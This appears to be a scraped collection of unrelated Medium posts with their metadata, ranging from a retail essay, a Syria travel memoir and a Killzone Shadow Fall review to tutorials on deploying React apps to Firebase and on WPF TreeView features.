Now, we’re in this so called “retail apocalypse”. The idea that in-store retail is being obliterated, negates the fact that we, as people, consume. We want things. However, we are so busy with calling cars on demand, getting groceries delivered within the day, and buying a coffee for pick-up, that the consumption of experiences has fallen to the wayside. Not because we don’t want them, but because there aren’t many out there worth our time.
We, as people, want to consume experiences, but those experiences have to fulfill our ever-changing desires.
This year brick-and-mortar apparel sales will remain flat, as shoppers spend some $73 billion more online for clothes in 2023, or a third of the total, up from 20% today. It’s not climbing, but it also isn’t declining. Retailers are starting to figure out the experiences we’re craving. Macy’s invested in B8ta and bought Story in an effort to figure out a new market model, Nordstrom opened it’s own version of a guide shop and started online pick-up in-stores, and Walmart is on a buying spree of digital brands that are mastering the physical retail experience.
However, there is a huge opportunity to re-invent the department store experience. Both for the consumer and the supplier; brands don’t want to sacrifice their margin by executing a traditional wholesale deal and consumers no longer go to stores just to purchase.
Selfridge was known for creating a department store that went above and beyond being a place to purchase clothing and makeup. It was a destination. It was worth our time. Look around for what people today spend time doing — socializing, eating and drinking, taking photos for social media, streaming entertainment. Trade the child-care center with a playground, the mail room with interactive photos ops, the sit-down restaurant with a bar, and the lounge with a work space. Or simply make it a place people want to be.
There is some evidence of this happening both in existing department stores and new ones such as Forty Five Ten and Neighborhood Goods.
With a little reinvention, department stores will make a come back. Quite possibly this year. And maybe, just maybe, it will inspire another child to follow the world of retail.
Brands
Whether you’re a department store, mall owner, or simply a stand-alone retail shop — forget selling products, and start selling experiences. The digital world might be taking away customer fulfillment, but that doesn’t mean you can’t monetize the facilitation of it.
Consumers
Buy stuff online. It’s easy and makes sense. But start exploring the retail centers and brands that get you. That understand your desire for entertainment, social media and human interaction. Trust me, they’re out there, and many more are yet to come.
Don’t forget to give us your 👏 ! | https://medium.com/gobeyond-ai/theres-nothing-wrong-with-a-good-old-department-store-d3ed61c09b5a | ['Brin S.'] | 2019-03-01 15:17:04.437000+00:00 | ['Ecommerce', 'Shopping', 'Consumerism', 'Retail', 'Ecommerce Web Development'] |
Mike Hyzy what a thoughtful response. | Mike Hyzy what a thoughtful response. I definitely feel like I asked the right person about this now. I see that you are saying the problem is quite larger than just having the food within a distance of the home that makes sense. The real issue which is safety of travel from home to corner store or any store outside of the house is “getting shot” on the way. So, what you are saying is that seeking food that is nurtitional is a life threatening experience. This is quite a sad reality.
Next problem that you state is that it’s not even just the products, it’s that often they lack the knowledge of how to cook. Worse, they don’t have the neccessary tools like a stove to complete the task.
This really is mind blowing considering that I am positive that stoves get thrown away by the bulk-loads onto the side of the road for garbage men to pick-up.
Recently, I noticed an initiative on LinkedIn with a gentleman who was rounding up mattresses for recycling purposes. Trying to create a closed loop system for mattresses to prevent them from going to landfills. In my mind I think, what about not only recycling those mattresses — what about giving them to those who cannot afford such luxuries.
Same idea comes to mind with ovens and stoves. Seems hardly impossible to get people who want to throw away a stove to have it donated for FREE to someone in need?
Interestingly, I just saw craignewmark post a piece called “What Happens When One Nonprofit Provides Food Desert Bodegas With Fresh Produce” by justyn hintze — seems that the founder of Craigslist would be an ideal candidate to promote some sort of system that would let people trying to get rid of stoves for FREE to people who need them? I know people know they can post things for FREE onto Craigslist, but I think the people in the neighborhoods needing a stove need to see marketing for this opportunity to understand their options.
Maybe SAPIENS has an idea — since they published “The Hidden Resilience of “Food Desert” Neighborhoods”
Or, Erin Meyer who recently covered Planting a Food Forest in a Food Desert in the Land and Ladle publication featuring stories about food, soil & everything in between. | https://medium.com/@MeierMarketing/mike-hyzy-what-a-thoughtful-response-aef7a9b32050 | ['Corinne Meier'] | 2019-04-12 11:15:33.312000+00:00 | ['Life', 'Lifehacks', 'Lifestyle', 'Life Lessons'] |
Fear | Pixabay
Fear of the Unknown
Before the trip, as a young wife three years into her marriage, she anxiously inquires of her in-laws what to expect — mainly, would people in Syria speak English? Although fluent in English and Spanish, she knows only a handful of words of Arabic: tayira-plane, sayara-car, jibne-cheese, tayeb-good, shukran-thank you, halal-lawful, haram-forbidden. “Oh yeah,” her brother-in-law casually assures her. “Don’t worry — everyone there knows English as well as Arabic.” Ok, phew. Good to know.
Fear of Being Rude
After landing on the runway, they descend the plane, squinting in the sun, and cross the tarmac to go through customs at the Damascus airport. There, they find a group of relatives waiting eagerly for them. In the general flurry of greetings and hugs and back slaps, she receives introductory kisses from the women and handshakes from the men. Anxious to fit in, to do the right thing, she approaches a middle-aged man she spots hovering at the periphery of the cluster of happy and excited family, dressed — in contrast with the elegant sportswear worn by the rest of the group — in basic gray cotton, his hands worrying a string of plain wooden prayer beads. Hand outstretched, she smiles, awkwardly offering a mumbled “pleased to meet you.” Rather than reciprocate her gesture, he only nods his acknowledgement while expertly avoiding contact by swiftly moving his arms behind his back. Confused and embarrassed, she drops her hand, smile fading. Later someone tells her that this uncle belongs to an Islamic sect whose male members do not touch women, on any pretext, at any time, except mothers, wives, and daughters. Thanks a lot, she thinks. You could have warned me.
Fear of Big Brother
Starting with the taxi ride from the airport to the Sheraton Damascus, she sees images of Assad Sr. everywhere. He seems to look out from every surface, hanging from rearview mirrors, plastered on huge billboards, painted as state sponsored murals, perched on the roofs of taxis, displayed prominently, in flocked black velvet, on the interior walls of private homes. His face is ubiquitous, ever watching, like Orwell’s Big Brother or the bespectacled eyes of Fitzgerald’s Doctor T.J. Eckleburg. She also notices posters, sprinkled here and there, of the eldest son and heir — the one once destined to inherit the presidential throne, the one now dead in a car crash involving 150 miles per hour in a Maserati — smiling in flashy aviator glasses and a military jacket. It’s as if, people say, the father wants to pretend he’s still alive.
When she innocently asks from the back seat of the taxi if women routinely vote in this country, her mother-in-law shushes her, finger on lips, casting an anxious glance to the front of the car before whispering, “Don’t talk out loud about politics here — you never know who is working for the government”. Startled, she stares at the greying head of the mild mannered driver.
After the taxi deposits them at the hotel, she and her husband settle in their room, luxurious in its décor of brass lamps, walnut furniture inlaid with mother-of-pearl, and wall panels with carved configurations traced in silver and sage. She soon discovers that through room service she can order mahalabia, the delicious custard her father-in-law makes regularly at home. As the cool pudding, subtly sweet with milk and sugar and rose water, lingers on her tongue before sliding refreshingly down her throat, she gazes out the large picture window from the settee where she sits and sees, situated high up on the arid brown mountain opposite the hotel, the presidential palace, a marble fortress really, a massive monument to totalitarian power that seems positioned for maximum intimidation to overlook the population below. The imposing structure dominating the broad plateau on Mount Mezzeh is huge, a white block radiating menacingly in the glare of the sun, protected from enemies by slabs of concrete, high security walls, and tinted windows that look like black eyes surveying the city with cold dispassion.
Fear of Being Left Out
She sits on a low, wide sofa. Thick velvet drapes muffle the honking of cars and the calls of street vendors while shielding the room from the heat of the summer sun. Silk Persian rugs cover the floor, wall-to-wall, soft under bare feet. The family has gathered at an aunt’s house for lunch in the late afternoon. After eating, they sit in the salon, sipping, from small delicate glasses, hot black tea over sweetened with heaping spoonfuls of sugar. All around her are the sounds of Arabic, harsh and melodic at the same time, as completely unintelligible to her as the crashing of ocean waves. Unable to understand what is being said, full to the brim with rice and meat and pine nuts, chickpeas and eggplant and baklava, still jet-lagged from their long and tiring journey to the Middle East, she finds herself unbearably sleepy. Her eyes close, yearning to stay that way; her head nods as her body drifts drowsily into unconsciousness. Oh my God. I have to stay awake! She bites her cheek and blinks her eyes and gives herself a series of small shakes to try and counteract the overwhelming soporific of the foreign language that surrounds her — murmurings like white noise that are only punctuated now and then by laughter and the musical clink of tiny silver teaspoons. Finally, the kindly voice of their hostess inquires something of her in the Arabic she finds utterly incomprehensible. Her husband has to translate: “Would you like to lie down in the guest room to rest?” She attempts to resist their concern, to deny her sleepiness, but cannot. In the end, mortified, she is forced to exchange the animation of the salon for the hushed isolation of an empty bedroom.
Fear of Military Presence
Returning one afternoon from a country estate an hour from the city center, they are stopped at a checkpoint by soldiers wearing khaki uniforms and bearing large automatic rifles. Their host, a twenty-something cousin, pulls the car over and opens his window. From the back seat where she sits with her husband, she tries to figure out what is happening. The cousin argues with the military guard. Their tones escalate. The cousin, their host, the person responsible for delivering them safely back to their hotel, is getting angry, seemingly outraged at the way the soldier is treating him in front of guests. “What’s going on?” she asks her husband in a low voice. He ignores her, stroking his upper lip with his index finger, a habit she knows he unconsciously indulges in when stressed. The placating tone of the cousin’s wife in the front passenger seat seems to plead with her defiant husband to calm down, to take it easy, to let it go. He ignores her. A second soldier joins the first and barks at their host. She watches as he reluctantly steps out of the car. “What the hell is happening?” she demands, a second time. Again she is ignored. She continues to watch, seething with anger and frustration, as well as worry and fear, as men with machine guns force the young man, their charming host, into the dark interior of a taupe canvas tent set up by the side of the highway. The host’s wife and her own husband confer over the car seat in rapid Arabic. Furious now, she jabs her husband with her elbow until he tells her that he’s not sure what’s going on, but that he will translate later, when things quiet down. Finally the young man returns. As he enters the car, the soldiers who have accompanied him back seem to give him a parting warning. Ignoring them, he slams the door shut and turns the key in the ignition.
All is quiet as they shoot down the endless concrete strip bordered by farmed fields, olive tree groves, and distant brown hills. She waits in silence for her husband to talk to her, to explain what happened and why, to assuage her anxiety with translation and facts. But he never does. Why doesn’t he realize how upset I am? Can’t he figure out how scary it is to be left out? How would he feel if he couldn’t understand a thing that serious, heavily armed soldiers were saying?
Fear of Breaking Down
Later that night, dressed for dinner and sitting at an elegant table in the Sheraton courtyard, listening to her in-laws converse with close friends who have joined them at the outdoor restaurant, hearing but unable to absorb the soothing sounds from the stone fountain, she struggles to hold it together. Earlier, back in their hotel room, she and her husband had fought viciously. All her frustration at her inability to understand Arabic, to know what was being said and discussed by those around her, rose to the surface and found a vent in blaming her husband. He, however, seemed unable to understand her position, the stress and anxiety of not knowing. They had finished their fight unresolved, both left with the unease of mutual misunderstanding. Hours later at the restaurant, once again surrounded by the language that acted as a wall rather than a door, a barrier rather than a bridge, she blinks rapidly and bites her cheek, pinching her wrist under a napkin to keep from breaking down. Finally she can pretend no longer and flees the table. In the restaurant’s sleek marbled bathroom, she cries and cries, leaning against the sink, periodically plucking fresh tissues from a handy container and throwing the wet crumpled ones into the bin. She begins to worry about herself, when will she stop? Tears keep flowing and she is obliged to blow her nose over and over as she recalls sitting in the hot car at the checkpoint earlier that day, trying to decipher what was happening by reading the body language, the changing facial expressions, the shifting tones of voice of the various actors in the tense drama unfolding before her. The guns, the military tent, the uniforms, the tightly laced combat boots had triggered her imagination and she had envisioned, in a kind of quiet panic, violence and humiliation, bruises and blood, arrest and disappearance. She had remembered hearing the rumors: You know, Syrian prisons are supposed to be even worse than Israeli ones.
Her face is still damp and her mascara has smudged blackly under her eyes as she attempts to make herself presentable when the mother of the family dining with them enters the bathroom. She is classy, inside and out. She wears hijab, covering her hair with an elegant European style turban, her thin kind face made up discreetly. This family friend, until this evening a stranger to her, does not ask her to explain, or to say what’s wrong, but comforts her with her presence and her small talk, deliberately distracting her as she helps pat her face dry with yet another tissue before hugging her close.
Fear of Failure
Back home, it occurs to her that her in-laws have tested her, not deliberately, but as surely as if they had handed her a blue book and asked her to write a five paragraph essay on their homeland, so different from mainstream America with its orderly airports and enforced driving laws, endless efficient highways and towering skyscrapers, no-smoking areas and recycling campaigns. She realizes that she has passed this test by taking certain aspects of Damascene culture — the dusty heat and the late nights, the women in shapeless trench coats and severe headscarves, the inescapable image of an autocratic dictator and the need to censor one’s conversation, the lack of seat belts in taxis and the lack of toilet paper in non-Western restrooms — in stride. Yet she knows, in her heart, that they are the ones who have failed a test. By failing to adequately prepare her, despite her many queries before they left the States, for what she would encounter after clearing customs. By failing to recognize her need for assurance. By failing to respect her need to know. By failing to translate. They have failed a test she didn’t even know that they would be taking or that she would be judging.
Fear of the Future
She couldn’t know it then, but she should have feared the future. She should have feared the ransacking of Iraq and the rise of ISIS, Syria’s failed Arab Spring and Assad Jr.’s brutal repression of his own people. She should have feared the over 500,000 dead and the 13 million fled. She should have feared the largest refugee population in human history. She should have feared the bombing of Palmyra, the stunning golden-red remains of a major cultural center of the ancient world, where she and her husband took turns taking photos of magnificent ruins, worthy of Olympia, among endless sand dunes. She should have feared the empty streets, dirty and desolate, where once she strolled in the balmy evenings scented with jasmine, contently licking her pistachio booza, the Syrian ice cream made elastic and sticky with milk, salep, mastic, and sugar. She should have feared the abandoned apartments once inhabited by loving and prosperous families, where she had visited, sitting under large and ornate crystal chandeliers at tables covered with intricately embroidered cloth and laden with plate upon plate of hummus and kibeh, ful and fattoush, maqlube and mahalabia. She should have feared not being able to take to Damascus her own children, her sons who are half Syrian, to experience for themselves the vibrant hub of their father’s heritage and their own birthright, the legacy of generations extending back over centuries.
*Originally published in Hippocampus | https://medium.com/@mariannamarlowe/fear-b103a5e0838c | ['Marianna Marlowe'] | 2019-06-17 04:11:10.600000+00:00 | ['Religion', 'Culture', 'International', 'Travel', 'Memoir'] |
Why Mold Inspection is a need Once in a Year for your Homes? | Mold Inspection in LA
Mold review is vital because it’ll open a number of the hidden problems that you have never thought of which is present in your home. Mold is a type of fungus that can become contaminated, and settles on wet or damp surfaces inside as well as outside of the house. The areas where the mold is most frequent are not simply in the toilet, but also in the kitchen, attics and basement. Having a Mold Inspection in LA is important for a home or property owner because older buildings can often have more places for the mold to thrive. Newer homes may have mold as well; however it has a probability in the older buildings because of leaks and different areas of moistness.
What is a Mold Inspection All About?
A Mold Inspection Los Angeles can recognize any conditions around your property which is able to support mold growth and also pinpointing issues in areas as an example of water injury, odors and obvious signs of fungal growth etc. The mold inspector must take the scrutiny and check the outside of the housing once more for obvious symptoms of water harm, leaks and their sources.
What Does the Inspector really do in a Mold Inspection?
After the initial visual checks the primary job is often to determine wet levels present within the walls of the property. The wet levels are measured at intervals of about two feet and special attention should paid by the inspector in areas beneath sinks, around water heaters, anyplace that there is a water source present. | https://medium.com/@moldinspectionslosangeles/why-mold-inspection-is-a-need-once-in-a-year-for-your-homes-bc75c2f35be1 | ['Robert Santanastasio'] | 2020-12-25 10:30:10.214000+00:00 | ['Inspection And Testing', 'Mold Inspection', 'Mold Testing', 'Home', 'Home Improvement'] |
H+ Weekly — Issue #66 | MORE THAN A HUMAN
Elon Musk has recently hinted that he may be working on a “neural lace,” a mesh of electronics that will allow AI and the brain to work together. This could help human brains keep up with future enhancements in AI.
The story of Nicholas Huchet, founder of Bionicohand and amputee, who designed an affordable 3D printed prosthetic hand.
From defeating death and aging to merging with machines to gene editing, transhumanist movement is going to challenge our current worldview and ask some serious ethical questions.
Will gene editing allow rich to be better, healthier and smarter than everyone else? This is one of the concerns some people have when it comes to transhumanism and human enhancements.
ShoddyCast, a YouTube channel confronting games with science, takes Deus Ex and asks how close are we to technology depicted in the game.
Nootropics, or smart drugs, were once the domain of a select few biohackers testing the limits of brain enhancement. But Nootropics are becoming more mainstream, leaving many to wonder what effect smart drugs will have on esports — one of the most rapidly growing spectator sports in the world, where cognitive enhancement could become a competitive advantage.
ARTIFICIAL INTELLIGENCE
IBM Watson was challenged to create a trailer for a movie. The challenge has been accepted and here is the result. Watson analyzed hundreds of horror/thriller movie trailers. After learning what keeps audiences on the edge of their seats, the AI system suggested the top 10 best candidate moments for a trailer from the movie Morgan, which an IBM filmmaker then edited and arranged together.
Artificial intelligence will transform just about everything, but technologists should stop fretting that it’s going to destroy the world like Skynet.
Here’s an interview with Luis de Miranda, who with his colleagues at the University of Edinburgh created the Anthrobotics Cluster, where they try to develop a way of figuring humans, robots, and intelligent systems alongside one another.
ROBOTICS
Looks like EU will follow US example and drone owners in the EU might be requested to register their drones.
Case IH recently showed off a prototype of their “Autonomous Concept Vehicle.” It’s a farm tractor that can plant, monitor crops, and harvest without a driver.
I love drone racing and every time I see video like this one I love it even more.
At Haneda Airport in Tokyo, Japan, you might encounter a robot ready to help you. Because it’s Japan and it’s 21st century.
Quite impressive is how smoothly this robot named Jimmy moves.
Pentagon posted a $1 million contract award for a new drone for the US Army. The drones need to be quite autonomous because it’s required from them to able to fly into unknown buildings and explore them without crashing.
The UK’s Ministry of Defence has launched a public competition to evaluate how swarms of tiny drones could be used in future warfare.
BIOTECHNOLOGY
A Swedish university has served the first-ever CRISPR-Cas9 modified vegetables. What is a meal of the future? Pasta — tagliatelle, to be exact. But it wasn’t the pasta that made this meal futuristic. It was the vegetable.
Meanwhile, in the US, the corn engineered with CRISPR to be more resistant to drought may soon be coming to market and more can follow.
A short, but interesting interview with Liz Parrish, CEO of BioViva, on how gene editing can cure aging. I found the point about injecting neurons “preprogrammed” with a foreign language to be a quite interesting vision.
If you ever asked yourself who are the big players in the biotech, here’s your answer. | https://medium.com/h-weekly/h-weekly-issue-66-d8e36e075487 | ['Conrad Gray'] | 2016-09-11 08:06:01.356000+00:00 | ['Technews', 'Transhumanism', 'Artificial Intelligence', 'Robotics', 'Technology'] |
Poem: Balance | Poem: Balance
Daily Dose of Philosophy
Photo by Christophe Hautier on Unsplash
We are a dichotomy of good and evil,
Yet all is just an act of perception.
We act in righteousness, even if artificial,
Turning evil into a misconception.
Wise to remember one extreme breeds the other,
Yet we choose to ignore each other stance.
The answers lie when the two sides come together.
For when separated they will enhance.
Balance comes from understanding each side.
To truly know wealth, you first need to endure destitute.
For when you experience both, each becomes unfortified,
For balance is absolute.
Live a life in balance,
For it will demonstrate life’s elegance.
Thank you for taking the time and reading my poetry. I hope that you enjoyed it. Stay tuned for more from the Daily Dose of Philosophy. | https://medium.com/illumination/poem-balance-6e516486135e | ['Kayo Zaduban'] | 2020-06-09 11:53:08.235000+00:00 | ['Philosophy', 'Self', 'Self Improvement', 'Poetry', 'Poem'] |
Some quick tips for an ADA-compliant website | While a website can’t technically be “ADA-compliant”, as they have no specific rules for websites, following the WCAG (Web Content Accessibility Guidelines) will get you a long way toward it. I’m certainly not a lawyer, and you can dig much deeper than what I present here, but these tips will easily put you in the top 1% of websites in terms of accessibility.
With website accessibility-related lawsuits on a rapid rise, here are some quick things you can do to help.
Use a solid theme. Picking some fancy theme with 10,000 built-in features is just asking for trouble.
Use alt text. If you add an image to your page, put proper alt text on it.
Don’t set links to open in new tabs. That’s a good thing for you, not for your users.
Add labels to form fields. Most form plugins will do this for you, but make sure.
Use headings. I don’t have many on this post, but I use H2, H3, etc as appropriate when writing.
Use text, not pictures of text. Include photos if you want, but don’t bury text in them.
Add an accessibility statement. If lawyers do come sniffing around, this will help deter them to search for easier prey. If you don’t know where to start, just steal and tweak mine.
It’s beyond time to have any excuse to have a website that isn’t friendly to all of your visitors.
Bonus: All of these things are great for your search engine rankings too. | https://medium.com/@mickmel/some-quick-tips-for-an-ada-compliant-website-c668495954bb | ['Mickey Mellen'] | 2020-12-14 16:52:33.292000+00:00 | ['Ada', 'Accessibility', 'WCAG'] |
The Birth of a Console Generation | Killzone Shadow Fall
Guerilla Studios
Oh, Killzone. To go back where it all began, the Killzone franchise has its origins first-person shooter on PlayStation 2, releasing on November 2nd, 2004. Sony really wanted this to be a flagship franchise, and in the beginning, things looked positive. The original game was relatively well-received, garnering a 70% on Metacritic, with one review stating, “It’s a great game with great graphics, great AI, a great story, and exceptional level design.” Unfortunately, the rest of the series has had a tumultuous ride, to say the least. Killzone 2’s release was dripping in controversy, with the 2005 E3 demo being sold as actual gameplay footage, while being, in fact, pre-rendered cinematics to show off the possibility of the ultrapowerful PlayStation 3. Despite (allegedly) being shown without developer Guerilla’s knowledge, once the news got out that the footage was faked, the damage was done. Sony’s eponymous “Halo Killer” (any game branded a “blank” killer is doomed to fail) had two very solid and visually impressive games released under Killzone 2 & 3, and although the series has its fans and subsequently reviewed very well critically upon release, it started to slowly but surely fade into obscurity in the gaming world.
This brings us to Killzone Shadow Fall. Its November 15th, 2013 release date coincided with the launch of the PlayStation 4, to show off what the new hardware was capable of, and show off it did. To this day, the environments and effects of Shadow Fall still look stunning, along with the massive scale of the game. The huge city of Vekta feels as overwhelming as it’s supposed to, with sprawling cityscapes and futuristic architecture spanning the horizon. The lighting effects are excellent, with dust particles floating through sun rays that shine through windows and over mountains. Aside from the occasional frame drop, the game performs competently as well. Character models are probably where games have improved the most over the last decade, with some closeups of the characters’ facial animations appearing stiff and animatronic. Aside from this, I believe the game still looks better than some games being teased for next-gen, and Guerilla knew how to take advantage of the hardware given to them.
Therein lies the biggest problem for Shadow Fall. While visually breathtaking, it becomes apparent very early on that showing what the PS4 could do held precedent over making a quality game. A perfect example of this is one of the opening cinematics. Rendered in-game is a massive skyscraper, encased in glass, with particle effects and lighting creating a truly impressive sight. The camera then decides to pan around this building, over, and over, and over again for what feels like five minutes, very obviously saying, “look at how amazing this building is rendered. Look at it!” and that mentality, unfortunately, permeates the rest of the game. The gameplay itself is satisfying enough and follows the formula; there’s Helghast (the bad guys) out there, shoot them until they’re all dead, and then move on. Overall, however, there’s a sinking feeling of playing a glorified tech demo instead of a fully realized game.
There’s also a surprising amount of bugs, with the game forcing me to fail a prompt it had given me to stealthily eliminate an enemy and throw their knife into the next Helghast guard. The button prompt failed, and I got killed. The stealth itself is pretty broken, with no real understanding of whether or not the Helghast can even see you, along with multiple instances of enemies having x-ray vision and spotting me through walls. I ended up just going in guns blazing in most scenarios and making it out just fine. The story isn’t awful, running with the idea of the Helghast being treated as second class citizens, eventually leading to their revolt, but the game takes itself far too seriously. The dialogue is cliché and hammy, and the player character (named Lucas Kellan) is a wet blanket protagonist who seems more like a checklist for “badass military character” than a real, existing entity.
Still, Killzone Shadow Fall is by no means a bad game. Quite the opposite: I find myself enjoying most of the time I spend in Kellan’s shoes. It’s just a little underwhelming. If you’re a fan of the series but had to skip out on Shadow Fall, I highly recommend giving it a try as you will enjoy it. If you’ve never played a Killzone game before, however, it probably won’t do much for you. | https://medium.com/super-jump/the-birth-of-a-console-generation-43ab6bbb32a | ['Jared Mccarty'] | 2020-12-05 10:07:11.410000+00:00 | ['Gadgets', 'Features', 'Gaming', 'Digital Life', 'Videogames'] |
The Mirror | The Mirror
A reflection on being a writer
Photo by Windows on Unsplash
“The only thing grief has taught me, is to know how shallow it is.” — Emerson
Sometimes when I read I find words looking back those pieces of mirror which I need to pick for myself. And I do that, words have been nourishing my soul since a long time.
Words don’t judge me when I pause my thoughts or sit quietly with a blank page. I have met too many poems and I have held too many words, I think with time we become better in this. We become expert in exposing our flaws, we don’t feel awkward when we see that reflection looking back even when we fail to recognise it.
That’s what words do to us, that keep abrading those scars which we love to carry till we start loving them. And our consciousness becomes much more alive, we realise that sadness is just a fleeting moment we learn to survive. | https://medium.com/spiritual-secrets/the-mirror-89b71388234 | ['Priyanka Srivastava'] | 2020-09-14 17:03:16.468000+00:00 | ['Awakening', 'Prose', 'Reflections', 'Spiritual Secrets', 'Writing'] |
Deploy React JS Apps for Free on Firebase | Deploy React JS Apps for Free on Firebase
Deploy JS React Apps for Free on Firebase
In this article , I’ll take you through all the steps involved in deploying a your React app on firebase.
Getting Started
Before deploying your app on firebase, you need to have Firebase project and a React project (create-react-app)
Build Your App for Production
Open your project folder cd your-project and build your app for production npm run build / yarn build. The JavaScript and CSS files will be inside the build/static directory.
Install Firebase Tools
Once you built your app then you can install firebase tools that will allow you to deploy your React app. You can install the tools by running
npm install firebase-tools -g / yarn global add firebase-tools
Login to Firebase
Make sure you’re in the root directory of your React app and run the following command to login to firebase in your terminal
firebase login
*If you’re not logged in, you’ll be asked to enter the credentials for your google account.
Initialize Firebase
Now that you’re logged in, you will need to initialize Firebase in your React app. You can do it by running the following command
firebase init
You will then be prompted with a series of questions and configuration options.
Choose Hosting: Configure and deploy Firebase Hosting sites Choose Use an existing project Select the firebase project that you created What do you want to use as your public directory? (public) build Configure as a single-page app (rewrite all urls to /index.html)? No File build/index.html already exists. Overwrite? No
Now it is time to deploy our app
Deploy to Firebase
Run the following command to deploy your app:
firebase deploy
*Firebase will then give you a unique URL where your deployed app is located (e.g. react-app.web.app).
That’s all there is to it! | https://medium.com/@suhailkakar/deploy-react-js-apps-for-free-on-firebase-3197d8ae7029 | ['Suhail Kakar'] | 2020-12-05 09:36:37.026000+00:00 | ['React Js Development', 'React Js Tutorials', 'Firebase', 'Hosting', 'Reactjs'] |
7 Best Hotels for Pumping Parents | As COVID-19 restrictions are slowly lifting across the country, pumping moms are once again beginning to take flight.
Experts predict the massive surge of travel this summer will continue, with business travel beginning to rebound in the fall.
So know before you go! Read this helpful article of things you should consider before planning and heading out to your next adventure.
Breastfeeding moms know a hotel room can make or break pumping logistics. So with that in mind, here are the seven hotels equipped to support jet-setting pumping moms. Not only are these hotels priced right for business travel, but they also include kitchenettes — Hello, actual refrigerators and sinks! And, goodbye trying to store your breast milk in the mini bar fridge and washing pump parts in the bathroom.
1. Homewood Suites
Stretch out after a long day of fun in a studio, one or two-bedroom apartment. Each in-suite kitchen is fully equipped with a full-size fridge, dishwasher, microwave, and stovetop. And with their free grocery shopping service, have fresh produce and ingredients delivered right to your door!
2. Hyatt House
With almost 100 locations across the U.S., this residential-inspired hotel offers modern studios, 1, and 2 apartment-style bedrooms. With full kitchens, your family can have plenty of room to spread out, cook meals, and relax in a space that feels right at home. Forget something? Make use of their Borrows Program — where you can borrow (or even buy) curling irons, yoga mats, humidifiers, and more.
3. Element Hotels
Why not make your business trip more like a vacation? If you are seeking a more intimate boutique hotel experience, check into Element Hotels for a nature-inspired stay. Their new Studio Commons concept is the first of its kind to blend a hotel room with a home rental. This provides families with a flexible design so you can choose to spend time together or retreat to a more private setting while still enjoying all the comforts of a hotel room. Also, Moms would appreciate escaping to the spa-like bathrooms with refreshing rain showers!
4. Marriott Executive Apartments
Upscale housing located in 16 countries, close to major city hubs and financial centers, Marriott Executive Apartments are a popular choice for business travelers. Experience their studio or up to 3 bedroom suite. Each has a gourmet kitchen with a separate dining area that flows into a comfortable living room. Request in advance, and they will stock your fridge upon arrival. There is also a 24 hours concierge to help you locate restaurants, shops and get you acquainted with your new surroundings — and, of course, help you with your Milk Stork shipments. Finally, don’t forget to collect and use your Marriott Bonvey Points for your stay!
5. Residence Inn by Marriott
Travel like you live! Their spacious suites boast a distinguished space for you to sleep, eat, and relax. Expect to find a fully equipped kitchen with a full-sized fridge, stovetop, microwave, dishwasher, and coffee maker. And if you need anything, call the front desk for free grocery delivery or swing by their 24-hour market and grab a quick snack.
6. MainStay Suites
Enjoy the conveniences of home plus the perks of staying in a budget-friendly hotel — like open-concept suites with separate areas for working and relaxing, a fully-equipped kitchenette, complimentary continental breakfast, free high-speed Internet, an on-site laundry room, a marketplace, and regular housekeeping. Sounds like the best of both worlds to us!
7. Extended Stay
Staying for a few nights or even a month, Extended Stay’s new Premiere Suites is your affordable solution. These suites are similar to large studios, with fully equipped kitchenettes, a complimentary grab-and-go breakfast bar, and free wi-fi. There are over 650 locations across the U.S.
As Americans get more comfortable with the idea of traveling again, hotels continue diligently working to keep their guests safe by following these general protocols:
Providing social distance and special training for their staff — who will also continue wearing masks and gloves.
Offering hand sanitizer stations and face masks and gloves upon request to their guests.
Cleaning and sanitizing all public areas on a consistent routine schedule.
Inspecting and deep cleaning all rooms in between each guest-stay
Modifying housekeeping processes so you have the choice for how often and when your room is cleaned.
If you are using Milk Stork during your business trip, make sure to call your hotel ahead of time to ask if they can help you with your outbound shipments. Most business-friendly hotels are happy to help their guests schedule FedEx Express pickups. However, if they are unable to assist you, FedEx drop boxes and authorized shipping locations are widely available at almost every destination.
Did we miss a great place to stay on our list? Let us know! | https://medium.com/@milkstork/7-best-hotels-for-breastfeeding-moms-and-their-babies-b2a75cc8d0db | ['Milk Stork'] | 2021-07-08 20:34:20.630000+00:00 | ['Business Travel', 'Breastfeeding', 'Breastfeeding Tips', 'Working Moms'] |
Top 5 Features of WPF TreeView | The WPF TreeView has all the features that an essential tree view control should have. In this blog, we are going to look at the top 5 features available to improve your application:
Expand and collapse actions
Recursive checking
Load on demand with built-in busy animation
Auto fit node heights
Drag and drop within and between controls
Let’s get started!
Expand and collapse actions
The expanding and collapsing of nodes are the usual operations performed in a TreeView control. But our Syncfusion WPF TreeView provides an intuitive way to expand and collapse the nodes. You can perform the expanding and collapsing actions by interacting with either the expander icon or the whole content view in the node. You can control this behavior with the ExpandActionTrigger property.
<syncfusion:SfTreeView x:Name="sfTreeView" ExpandActionTrigger="Node" />
You can also change the position of the expander view. You can display the expander at either the start or end of the node by setting values to the ExpanderPosition property.
<Syncfusion:SfTreeView x:Name="sfTreeView" ExpanderPosition="End">
Recursive checking
Load a check box in each node to allow users to check and uncheck them. You can load check boxes in the WPF TreeView control when you load TreeView in bound or unbound modes. You can also modify the parent node’s checked state when you check or uncheck the child nodes by setting the CheckBoxMode property to Recursive.
If you are binding the ItemsSource and need to bind the CheckBox value, then you should set the ItemTemplateDataContextType to Node to bind the TreeViewNode.IsChecked property to CheckBox in ItemTemplate.
Refer to the following code example.
<syncfusion:SfTreeView
x:Name="sfTreeView"
CheckBoxMode ="Recursive"
CheckedItems="{Binding CheckedStates}"
ChildPropertyName="Models"
ItemTemplateDataContextType="Node"
ItemsSource="{Binding Items}"> <syncfusion:SfTreeView.ItemTemplate>
<DataTemplate>
<Grid>
<CheckBox x:Name="CheckBox" FocusVisualStyle="{x:Null}"
IsChecked="{Binding IsChecked, Mode=TwoWay}"/>
<TextBlock FontSize="12" VerticalAlignment="Center" Text="{Binding Content.State}" Margin="25,0,0,0"/>
</Grid>
</DataTemplate>
</syncfusion:SfTreeView.ItemTemplate>
</syncfusion:SfTreeView>
Recursive checking in WPF TreeView
GitHub reference: You can view the example in this GitHub location.
Load on-demand with built-in busy animation (lazy loading)
TreeView allows you to load child nodes on request using the load-on-demand (lazy loading) feature. It helps you load the child nodes from services when the end-user expands the node. You can use the LoadOnDemandCommand property to load the child nodes on demand while expanding the nodes.
An important feature is that you can also display a busy indicator in the node by using the TreeViewNode.ShowExpanderAnimation property until the data is fetched in the command.
The following code example shows the procedure to bind the LoadOnDemandCommand property with the ViewModel’s property in XAML.
<syncfusion:SfTreeView
x:Name="sfTreeView"
LoadOnDemandCommand="{Binding TreeViewOnDemandCommand}"
ItemsSource="{Binding Menu}" >
